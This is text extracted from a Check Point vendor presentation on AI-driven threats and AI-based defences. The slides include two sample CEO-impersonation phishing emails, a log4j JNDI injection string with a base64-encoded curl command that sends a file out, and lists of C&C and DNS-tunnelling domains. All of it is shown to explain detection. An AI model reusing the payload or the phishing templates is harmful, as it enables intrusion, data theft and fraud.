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It’s no secret, we’ve ALL been doing it!

Generative-AI Explosion for Business and Personal



https://www.weforum.org/agenda/2024/01/cyber-resilience-cybersecurity-threats-outlook-2024/



Four main 
points of 

view when 
AI meets 

cyber 

AI used by attackers
• Force multiplier 
• More targeted 
• Increase success rate 

(test before you do) 
• New attacks forms 

How to secure AI Usage 
in my org
• Govern access 

to AI services & to data 
• Secure AI pipeline 
• New things: Secure prompts, 

prevent poisoning, secure the 
AI models 

AI Used 
for Defense
• Force multiplier 
• Precision 
• New interface, conversational 

& generative
• New ways to defend. Better 

operations  

And then, like every 
organization, your team 
can leverage 
AI and be better
More efficient, better 
operations & quality, growth, 
development & more 
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DEEPFAKES / VOICEFAKES / NEWSFAKES

NO LONGER 
JUST SCIENCE FICTION



Powered by 
Generative Adversarial 
Networks (GAN)

DeepFaceLab
https://github.com/iperov/DeepFaceLab

NVIDIA GAN 
https://thispersondoesnotexist.com/

https://www.youtube.com/watch?v=ERQlaJ_czHU

https://www.youtube.com/watch?v=X17yrEV5sl4

https://www.youtube.com/watch?v=oxXpB9pSETo

https://github.com/iperov/DeepFaceLab
https://thispersondoesnotexist.com/
https://www.youtube.com/watch?v=ERQlaJ_czHU
https://www.youtube.com/watch?v=X17yrEV5sl4


single  portra it photo  + speech  
audio  = hyper-rea listic ta lking 
face  video with precise lip-audio 
sync, lifelike facia l behavior, 
and na tura listic head movements, 
genera ted  in rea l t im e .

https://www.microsoft.com/en-us/research/project/vasa-1/



Could AI Influence Elections?
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IS THIS A BUSINESS RISK?
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Image if this deepfake technology could 
impersonate executives live on a video call

It already has



15©2024 Check Point Software Technologies Ltd.

Voice Deepfakes are Coming 
for your Bank Balance
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AI DRIVEN PHISHING EPIDEMIC



We are now in an AI-driven Phishing Epidemic

X



Subject: Urgent Action Required: New Stock Options Plan Announced

Dear [Company Name] Team,

I hope this email finds you well. Today, I have some exciting news to share with all of you. As we continue to grow and thrive as a company, we are constantly seeking 
ways to reward and recognize the hard work and dedication of our incredible team.
I am thrilled to announce the launch of our new Stock Options Plan, aimed at enhancing our commitment to our employees and aligning our collective interests even 
further. This plan represents a significant milestone for us, and we believe it will further strengthen our bonds as a united [Company Name] family.
To provide you with detailed information about this exciting opportunity, I have attached comprehensive information about the Stock Options Plan, including eligibility 
criteria, vesting schedules, and the benefits you stand to gain from participating.

[Insert Attachment Link Here]

Please take a moment today to review the attached document carefully. We believe that this plan not only demonstrates our appreciation for your contributions but 
also reinforces our commitment to your personal and professional growth.
If you have any questions or need clarification on any aspect of the Stock Options Plan, please don't hesitate to reach out to our HR department, who will be more than 
happy to assist you.
I want to emphasize that this is a time-sensitive matter, and your prompt attention to this email is greatly appreciated. The deadline for enrollment is [Insert Enrollment 
Deadline Date], so please ensure you review the details and make an informed decision by that date.
Once again, I want to express my gratitude for your hard work, dedication, and unwavering commitment to our company's success. Our employees are our most 
valuable asset, and we are excited to take this step forward together.
Thank you for your immediate attention to this important matter, and I look forward to witnessing our continued growth and success as a team.
Warm regards,

[Your Name] CEO, [Company Name]

We are now in a Phishing Epidemic



We are now in a Phishing Epidemic
Subject: Exciting News: New Stock Options Plan Unveiled – Take Action Today!

Dear [Company Name] Team,

I hope this message finds you well. We have some fantastic news to share with all of you that underscores our commitment to your success and your future 
with [Company Name].

Today, I am thrilled to introduce our brand-new Stock Options Plan, a remarkable opportunity designed exclusively for our dedicated team members. This 
initiative is a testament to our belief in your contributions and our determination to reward your hard work.

Please find the comprehensive details of this plan in the attachment to this email:

[Insert Attachment Link Here]

I encourage each one of you to take a few moments to review this attachment. It contains vital information about eligibility criteria, vesting schedules, and the 
exceptional benefits you stand to gain by participating. We've worked diligently to make this plan as accessible and rewarding as possible.

Your immediate attention to this matter is crucial, as the enrollment deadline is set for [Insert Enrollment Deadline Date]. This is your chance to secure a stake 
in our shared success, and I urge you to make an informed decision before this date.

If you have any questions or need clarification regarding any aspect of the Stock Options Plan, our dedicated HR team is available to assist you promptly. Your 
satisfaction and understanding are of utmost importance to us.

We recognize that your time is valuable, and we want to make this process as seamless as possible. As such, we have also organized a series of informational 
sessions and Q&A sessions over the next few days to address any queries you may have. The schedule for these sessions is included in the attachment.
Our success as a company is a direct reflection of the dedication and expertise of each team member, and this Stock Options Plan is just one way we aim to 
reciprocate your commitment.
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Email security
by numbers

75% 1 in 72 30% $4.89m

Over 75% of targeted cyberattacks 
start with an email1 in 72 emails is a phishing attack30% of phishing emails are opened

IBM estimated cost of BEC Breach
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AI POWERED HACKTIVISM



AI Developed and Delivered DDoS

1. It makes the source of the attack difficult to trace. 
2. Available 24×7. The machine does not get tired.
3. The error rate is non-existent. 
4. Fast and efficient decision-making. 
5. It helps the attacker make more automation (repetitive tasks).
6. Predict outcome (predict defensive strategy).

A DDoS attack by itself is already scary as it is. 
But when you add AI into the equation, things get much more dangerous. 

A fully AI-based DDoS attack removes the human from the equation, which isn’t 
good for many reasons: 

Largest blocked 
DDoS attack was 

398 million 
requests per 

second
7x Previous
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AI POWERED RANSOMWARE
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Stress and Burnout 
on the Rise

AI Increasing 
RansomwareThreat
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AI THREATS FOR SOFTWARE DEVELOPMENT



OWASP Top10 of LLM 

How can we secure all these?
The good news is that we will have jobs. No silver bullets 

Prompt Injection
This manipulates a large 
language model (LLM) through 
deliberate inputs, causing 
unintended actions by the LLM. 
Direct injections overwrite 
system prompts, while indirect 
ones manipulate inputs from 
external sources.

LLM01

Sensitive Information 
Disclosure
LLM’s may inadvertently reveal 
confidential data in its 
responses, leading to 
unauthorized data access, 
privacy violations, and security 
breaches. Implement data 
sanitizations and strict user 
policies to mitigate this.

LLM06

Insecure Output 
Handling
This vulnerability occurs when an 
LLM output is accepted without 
scrutiny, exposing backend 
systems. Misuse may lead to 
severe consequences like XSS, 
CSRF, SSRF, privilege escalation, 
or remote code execution.

LLM02

Insecure Plugin 
Design
LLM plugins can have insecure 
inputs and insufficient access 
control due to lack of application 
control. Attackers can exploit 
these vulnerabilities, resulting in 
severe consequences like 
remote code execution. 

LLM07

Training Data 
Poisoning
Training data poisoning refers to 
manipulating the data or fine-
tuning process to introduce 
vulnerabilities, backdoors or 
biases that could compromise the 
model’s security, effectiveness or 
ethical behavior.

LLM03

Excessive 
Agency
LLM-based systems may 
undertake actions leading to 
unintended consequences. The 
issue arises from excessive 
functionality, permissions, or 
autonomy granted to the LLM-
based systems.

LLM08

Model Denial of 
Service
Attackers cause resource-heavy 
operations on LLMs, leading to 
service degradation or high costs. 
The vulnerability is magnified due 
to the resource-intensive nature 
of LLMs and unpredictability of 
user inputs.

LLM04

Overreliance

Systems or people overly 
depending on LLMs without 
oversight may face misinformation, 
miscommunication, legal issues, 
and security vulnerabilities due to 
incorrect or inappropriate content 
generated by LLMs.

LLM09

Supply Chain 
Vulnerabilities
LLM application lifecycle can be 
compromised by vulnerable 
components or services, leading 
to security attacks. Using third-
party datasets, 
pre-trained models, and plugins 
add vulnerabilities.

LLM05

Model Theft

This involves unauthorized 
access, copying, or exfiltration of 
proprietary LLM models. The 
impact includes economic losses, 
compromised competitive 
advantage, and potential access 
to sensitive information.

LLM10
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FIGHTING AI FIRE WITH FIRE



Threat intelligence is key for AI-based prevention

Big data threat intelligence
Always acquires the most recent 
IoCs and protections of latest 
attacks seen in the wild 

Telemetry TelemetryACCURATE  PREVENTION 
(MALICIOUS/SAFE)

NetworkEndpoint Email CloudIoT MobileAPIs

AI Threat 
Intelligence 

Cloud

AI technology 
Machine Learning technologies that identify 
and block emerging threats that were never 

seen before



DEEP LEARNING REDUCES FALSE POSITIVES BY 90%
How AI Deep Learning works vs. Classic Machine Learning 

Features definition
Certifier
OS
Compiler info 
Metadata 
Packer
Writable
Permissions
…etc.

Malicious?

Classic 
Machine 
Learning 

Zero day 
ransomware (exe)

SVM
Random Forest
Decision Trees
...

Classifier Algorithm

Deep 
Learning

Natural network Malicious

Zero day 
ransomware (exe)

All files' bytes 
are processed 

30%
Blocks 

more attacks



AI Classification of Unknown Genes

Code
Analysis

Behavior 
Analysisflash_update.exe

unknown

Similarity 
Analysis

AI Deep Inspection of Malware DNA

Threat 
Intelligence 

Cloud
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PREVENTATIVE AI IN ACTION



AI technologies leveraged by Check Point Threat Intelligence 
70+ engines across different security functionality protecting all vectors

Unknown 
Malware

Zero-day 
Phishing

Anomaly 
Detection

Improve 
Accuracy

Expose stealth 
breaches

Campaign 
Hunting

Classify

Infected hosts detection
Sandbox static analysis executables
Sandbox static analysis documents

Sandbox static analysis macros
Sandbox dynamic analysis

Email static analysis
Network zero-phishing detection

Mobile zero-phishing detection
Anti-Phishing AI engine

HTML body NLP

Cloud networks anomaly detection
XDR/XPR user behavior analysis

SSH tunneling
ThreatCloud Campaign Hunting

Documents meta classifier Vectorization family classifier
XDR/XPR incidents aggregation

ML Similarity Model
MRAT Classifier

IP Port

Network AI engines aggregator
Mobile AI engines aggregator

Machine validated signature 

Analyst Mind
Malicious activity detection

DNS 
Security

DNS Tunneling
DNS Slow tunneling  

DGA Domain Generation Algorithm



AI Blocking zero-day malware
Zero-day malware
“AveMaria” RAT

May 2022

Synced in real-time to all 
enforcement points 

worldwide 

ENDPOINT

CLOUD
GATEWAY 

MOBILE

Detected as malicious 
in seconds

Deep Learning

Machine Learning Emulation Runtime

File Reputation

Threat 
Intelligence 

Cloud

First seen by a 
customer in Italy

Security
Gateway

Prevented in dozens 
of other countries 

within 3 hours

Security
Gateway



log4j attack Indicators:
• ${
• base64
• java_1
• medium_acuracy
• regex_code_execution_1
• ssti_fast_reg_4 BLOCK

High risk

${jndi:ldap://<SITE>/Basic/Command/Base64/
Y3VybCBodHRwOi8vMTAuMT 
QyLjAuMjM6OTk5IC1kIEBjcmVkaXQ=}

INITIAL
ANALYSIS

AI-BASED
SCORING

Suspicious requests:
3%-5% of all incoming requests

• Initial payload analysis
• Base64 decoding (avoid evasions)
• Collection of telemetry/statistics

• Low reputation (single suspicious request)
• Application awareness – uncommon content
• Indicator scoring – multiple indicators of attack

AI Powering Web & API Security
How AI AppSec uniquely preempts exploitation of Apache server zero-day vulnerabilities



AI Blocking never-seen-before Phishing Attacks

RESPONSE

GET

AI-based analysis of 300 phishing 
indicators in email & web

#3 BROWSER INSPECTION
(BY INJECTED CODE)

#2 CHECK POINT’S 
INJECTION

#1 GATEWAY WEB INSPECTION

Facebookscam.com

PHISHING SITE
LinkedInscam.com

RESPONSE

GET

IP REPUTATION

SUBJECT CONTEXT

URL EMULATION

HTML INSPECTION

LOOKALIKE FAVICON

URL REPUTATION

NLP

DOMAIN REPUTATION

BRAND IMPERSONATION

+300 indicators

LOOKALIKE FAVICON

BRAND IMPERSONATION

HTML INSPECTION

URL REPUTATION



AI Preventing 5X more sophisticated DNS 
attacks

Client Machine Command & Control 
Server

DNS
TRAFFIC ANALYSIS

VERDICT

#1 DGA (Domain Generation Algorithm)

6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud.com
7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com
gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud.com
ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud.com
k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud.com
mhdosoksaccf9sni9icp.appsync-api.eu-west-1.avsvmcloud.com

Block C&C communications and Data theft with Deep Learning engines

#2 DNS Tunneling

f5534496-1a85-4844-8bc0-e9edc537ea40.server-26.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-34.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-5.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-98.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-73.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-82.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-15.deeponlines.com
f5534496-1a85-4844-8bc0-e9edc537ea40.server-59.deeponlines.com

Deep Learning Neural network



Download 
locally

Commit to CI 
pipeline

Testing 
(including 
security)

Deploy to 
staging and 
production

Step 1 Step 2 Step 3 Step 4
User wants to use 

a new code 
package from a 

known repository

Securing Software Supply Chains at the earliest stages of the CI/CD pipeline

Visibility on code packages traffic:

+ Other vendors

Actual preventions by Check Point: Known vulnerable packages: 

AI Preventing malicious Code Packages



Try Check Point’s AI For 14 days for Free



Thank you!

Ian Porteous
Regional Director, Sales 

Engineering | Office of the CTO
Check Point
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